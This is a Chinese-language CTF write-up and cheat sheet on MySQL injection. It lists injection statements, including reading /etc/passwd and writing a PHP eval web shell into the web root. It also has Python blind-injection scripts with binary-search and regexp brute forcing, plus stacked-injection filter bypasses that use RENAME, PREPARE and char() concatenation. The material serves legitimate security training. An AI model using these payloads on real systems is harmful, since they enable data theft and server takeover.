0×00:前言
對于MySQL知識的一個初總結
0×01:正文
- MYSQL數據庫特性
1.Mysql數據庫默認不區分大小寫,利用此特性可以進行大小寫過正則匹配,舉個簡單的例子,有的題目中只過濾了select,那么我們可以用Select進行繞過。
2.mysql默認端口3306
3.mysql各個數據庫的作用
(1)information_schema:
此數據庫是一個信息數據庫,保存了所有數據庫的信息。
- 常用SQL注入語句
1.顯示當前用戶:select user();(current_user)
2.顯示當前數據庫版本:select version();
3.顯示當前數據庫名:select database();show databases;
4.爆破字段數: order by
5.查看顯示位:select 1,2,3,4,5
6.聯合查詢:union select 1,2,3,4,5
7.查詢數據庫名:select group_concat(schema_name) from information_schema.schemata
8.查詢數據表名:
select group_concat(table_name) from
information_schema.tableswhere table_schema='庫名'
9.查詢字段名:select group_concat(column_name) from
information_schema.columnswhere table_name='表名'
10.讀取特定行:select * from mysql.user limit n,m
11.讀取文件:select load_file('/etc/passwd')
12.寫入文件:select '<?php @eval($_POST[a]);?>' into outfile '/var/www/html/a.php'
13.判斷此處有無注入點:利用and1=1和and1=2來進行分析
14.猜解表名:and (Select Count(*) from [表名])>=0
15.猜解字段名:and (Select Count([字段名]) from [表名])>=0
16.猜解字段的長度:and (select top 1 len(字段名) from 數據庫名)>017.創建一個數據庫:create database ybyy;
18.創建一個帶字符的類型的數據庫:create database mydb2 CHARACTER SET=utf8;19.刪除數據庫:DROP DATABASE ybyy;
20.修改數據庫編碼:ALTER DATABASE ybyy character set gbk;
21.選擇數據庫:use database;
22.查看表結構:desc tablename;
23.查看數據庫創建語句:show create database databasename;24.查看系統用戶名:system_user()
25.查看連接數據庫的用戶名session_user()
26.讀取數據庫路徑:@@datadir
27.讀取安裝路徑:@@basedir MYSQL
28 操作系統:@@version_compile_os
0×02:盲注
什么叫盲注?
不會返回數據庫內建的報錯信息。而這些報錯信息是我們普通SQL注入漏洞判斷的依據。我們無法依據服務器的返回值來判斷,我們可以依據兩次執行的差距來判斷,可以依據基于邏輯的真假來判斷。
[極客大挑戰 2019]FinalSQL題目給了提示,Python寫sql盲注腳本
點擊1:
可以看到這里是有waf的!
在這里在測試一下id=0
在這里就可以判斷為布爾盲注。測了一下,這道題可以用異或注入來做。這里先來簡單講一下,1^0=11^1=0下面直接上payload:
利用二分法腳本來題提升盲注速度,因為后期中很多題型都需要到二分法爆破腳本,因此在這里解釋的詳細一點,以后的二分法腳本便不作詳細解釋。二分法:顧名思義,即為一分為二的方法。把答案所在的區間逐漸縮小,直到區間內有一次正確答案,就可以跳出一次循環。
在sql注入中,我們經常使用ASCII來對其進行便利,因此我們一般設置最大最小low=32,high=128。設置這兩個值是因為在這期間基本包含了sql注入中password字段,但是也不免會有一些出題人喜歡出稀奇古怪的題目,這種題目我們不便理會。使用二分法來進行爆破的原因是:二分法比普通遍歷效率要高很多。原理:每次爆破都是區間的中間值,如果中間值大于給定數字,那么下次爆破就是前半部分的中間值數字;如果中間值小于給定數字,下次就爆破后半部分的中間值數字。
那么接下來就可以分析一下EXP了:
import requests
url = "http://71eccd97-48cc-4534-b840-4ff5e336a0ad.node3.buuoj.cn/search.php?"
temp = {"id" : ""}
key = ""
for i in range(1,1000):
low = 32
high =128
mid = (low+high)//2
while(low<high):
#庫名
temp["id"] =
"1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schem
ata)),%d,1))>%d)^1" %(i,mid)
#表名
#temp["id"] =
"1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables
)where(table_schema=database())),%d,1))>%d)^1" %(i,mid)
#字段名
#temp["id"] =
"1^(ascii(substr((select(group_concat(column_name))from(information_schema.colum
ns)where(table_name='F1naI1y')),%d,1))>%d)^1" %(i,mid)
#內容
#temp["id"] =
"1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" %
(i,mid)
r = requests.get(url,params=temp) print(low,high,mid,":")#在這里打印爆破的過程
if "others" in r.text:#這里做一個判斷,有回顯位的字段是:click others,無回顯字
段是:ERROR!! 這個在上面的異或語句已經分析到了
low = mid+1 #如果成立,那么mid+1,就是爆出的回顯位
else:
high = mid#如果不成立,那么繼續用二分法進行搜
mid =(low+high)//2
if(mid ==32 or mid ==127):#如果當mid=32或者mid=127時說明,已經把所有的字段都爆完了,
就跳出循環
break
key =key + chr(mid)#每爆出一位就對其進行加和,最終key就是爆出來的完整字段 print(key)
[BJDCTF 2nd]
現在的BUU已經禁止掃描了,只能用常用的目錄自己測試,這里測試robots.txt出現了提示
接著進入hint.txt中
select * from users where username='$_POST["username"]' and
password='$_POST["password"]';
這里我們構造:select * from users where username = 'admin' and password = 'or 0#'
發現這里也是You konw ,P3rh4ps needs a girl friend接著我們構造:
payload:select * from users where username = 'admin' and password = 'or 1# '
我們可以這樣理解:
select * from users where username = 'admin and password=' 注入代碼#'這樣就實現了'的逃逸
那么之后再加上regexp就可以寫盲注腳本了:
import binascii,requests
import string
zidian=string.ascii_letters+string.digits
print(zidian)
url='http://6d5a948a-bc60-439b-82bf-b70ba32509d5.node3.buuoj.cn/index.php'
key=''
while 1:
for i in zidian:
ybyy='^'+key+i
data={
'username':'younotgf!\',
'password':'or password regexp binary
0x{}#'.format(binascii.b2a_hex(ybyy.encode()).decode())
}
res=requests.post(url,data=data).text
if 'stronger' in res:
key+=i
print(key)
break
可以發現這里跑出了密碼,輸入用戶名和密碼即可拿到flag
0×03:堆疊注入
堆疊注入的定義stacked injections ,顧名思義,就是多條語句一起執行。
堆疊注入的原理在SQL語句中,分號(;)代表著一句sql語句的結束,如果;后面緊接著一條語句,那么是會一起執行的。但是堆疊注入的成功執行是需要很多條件的,一方面是API接口與數據庫引擎不支持的限制,還有一方面是權限的限制。
堆疊注入與Union聯合注入是不同的,union后面的語句只能是用來執行查詢語句,但是堆疊注入后面可以執行任意語句。堆疊查詢的解法有三種,下面在題目中會一一講到。
[強網杯 2019]
隨便注打開題目,出現此頁面
先來手測一下:payload:1' or 1=1#!
利用萬能密碼,發現是可以出東西的。接下來我們先用order by 測一下此數據庫有多少列payload:1' order by 1#
這里發現了,是有兩列數據。根據做題的思路,下面要查看哪個是顯示位:payload:1' union select 1,2#
這里發現了過濾的函數:
return preg_match("/select|update|delete|drop|insert|where|./i",$inject);
做到這里就知道是堆疊注入了,因為Rename,PREPARE,set等函數均未被過濾。
下面我們來嘗試堆疊注入:payload:1';show databases;#
可以發現是可以查詢出數據庫的,接下來又是走流程:payload:1';show tables;#
得到了兩個表:1919810931114514和words 先查看words表中的內容payload:1'; show columns from words; #
繼續查詢另外一個表:payload:1'; show columns from 1919810931114514 ; #
可以發現這里有flag字段。但是前面已經爆了,select等函數均不可使用,需要繞過,再寫繞過之前,這 里先插入一個知識點:為什么mysql數據庫中要用``(反引號)。
mysql中``用法
在linux中是不區分``和''的區別的,但是在windows中區分,這里可以發現,payload:1'; show columns from 1919810931114514; # 是沒有回顯的。
這里來說明一下原因:在mysql中查詢純數字和關鍵字的列名、表名時必須加
純數字也是同理,show columns from 1919810931114514也是不會出結果的。這里也提示大家做列名和表名的時候不能用mysql中的關鍵字。
堆疊注入解題的三種姿勢可以看到1919810931114514這個表中有flag字段,我們接下來的任務就是要如何查看flag字段中的內容。
第一種姿勢:
重命名payload:
1';RENAME TABLE `words` TO `web_ybyy`;RENAME TABLE `1919810931114514` TO
`words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8
COLLATE utf8_general_ci NOT NULL;show columns from words;#
這個的解釋就是:
把原本words表重命名為web_ybyy表名,把1919810931114514改成words名,之后 利用alter table 修改words原本的表結構,最后利用show columns from words;進行輸出。最后利用萬能公式出flag:payload:1' or 1=1#
第二種姿勢:
預處理繞過selectPrepared Statements 的作用:當某一條語句反復被運用的時候,預先編譯好會加快 執行速率。一次編譯,多次運行,當然在這里主要還是為了繞過select函數 語法:定義預處理:PREPARE 定義的名字 from 要定義的語句執行:
EXECUTE 定義的名字 payload:
1';PREPARE web_ybyy from concat('s','elect', ' * from `1919810931114514`
');EXECUTE web_ybyy;#
預編譯的第二種方式:
利用char()對select進行繞過,在mysql中 char(115,101,108,101,99,116)--->select payload
1';PREPARE web_ybyy from concat(char(115,101,108,101,99,116),' * from
`1919810931114514` ');EXECUTE web_ybyy;#
0×04:其他sql注入與md5的組合
這類題是套路題,突破點在于sql查詢的一條語句: 可以看到pass字段做了md5加密,sql注入的靈魂在于如何閉合,這類題也不例外。ctfshow web9:首先利用dirsearch進行目錄掃描
提示了index.phps,我們把它下載下來
<?php
$flag="";
$password=$_POST['password'];
if(strlen($password)>10){
die("password error");
}
$sql="select * from user where username ='admin' and password
='".md5($password,true)."'";
$result=mysqli_query($con,$sql);
if(mysqli_num_rows($result)>0){
?>
這個就是源碼了
其他sql注入與md5的組合
`mysql_num_rows() 返回結果集中行的數目,這里判斷大于0可過check主要點在這里, password ='".md5($password,true)."'";
md5()函數兩個參數:TRUE - 原始 16 字符二進制格式FALSE - 默認。32 字符十六進制數,這里我們進行了測試
payload1:129581926211651571912466741651878684928
payload2:
ffifdyop
username ='admin' and password =‘ ’or 'xxxxx'構造成這個類型的語句就可過check直接打,出flag
0×05:總結
MYSQL注入bypass方式太多,大賽能學習到很多繞過姿勢。慢慢收集整理吧。